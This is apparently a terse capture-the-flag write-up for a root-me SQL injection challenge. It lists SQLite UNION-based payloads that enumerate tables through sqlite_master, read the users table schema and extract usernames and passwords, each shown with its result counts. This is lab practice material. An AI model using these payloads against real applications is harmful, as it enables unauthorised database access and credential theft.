SQL injection: string
root-me challenge: SQL-injection-String: Retrieve the administrator password.
' UNION SELECT 1,2,3 --
SQLite3::query()
Using PayloadAllTheThings: SQLiteInjection:
7 result(s) for "' UNION SELECT NULL,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --"
(news)
(users)
6 result(s) for "' UNION SELECT NULL,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users' --"
(CREATE TABLE users(username TEXT, password TEXT, Year INTEGER))
And:
8 result(s) for "' UNION SELECT username,password FROM users --"